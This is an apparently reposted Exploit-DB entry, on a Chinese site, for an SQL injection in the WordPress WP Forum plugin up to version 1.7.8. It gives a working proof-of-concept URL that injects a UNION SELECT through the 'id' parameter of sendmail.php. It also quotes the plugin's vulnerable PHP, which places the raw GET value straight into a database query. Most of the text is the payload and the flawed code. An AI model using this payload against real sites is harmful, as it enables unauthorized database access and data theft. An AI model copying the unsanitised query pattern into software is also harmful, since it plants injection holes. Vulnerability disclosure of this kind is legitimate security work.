WordPress Plugin Forum 1.7.8 – SQL Injection - 体验盒子

作者： Miroslav Stampar

日期： 2011-08-18

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/17684/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# Exploit Title: WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability

# Date: 2011-08-18

# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)

# Software Link: http://downloads.wordpress.org/plugin/wpforum.1.7.8.zip

# Version: 1.7.8 (tested)

---

PoC

---

http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3

---------------

Vulnerable code

---------------

...

else if(isset($_GET['action']) && $_GET['action'] == 'quote'){

global $wpdb, $table_posts;

$id = $_GET['id'];

$text = $wpdb->get_row("SELECT text, author_id, date FROM $table_posts WHERE id = $id");

$u = new WP_user($text->author_id);

echo htmlentities("<blockquote><b>QUOTE</b> ($u->nickname @ ".date(get_option('forum_date_format'), strtotime($text->date)).")\n $text->text</blockquote>");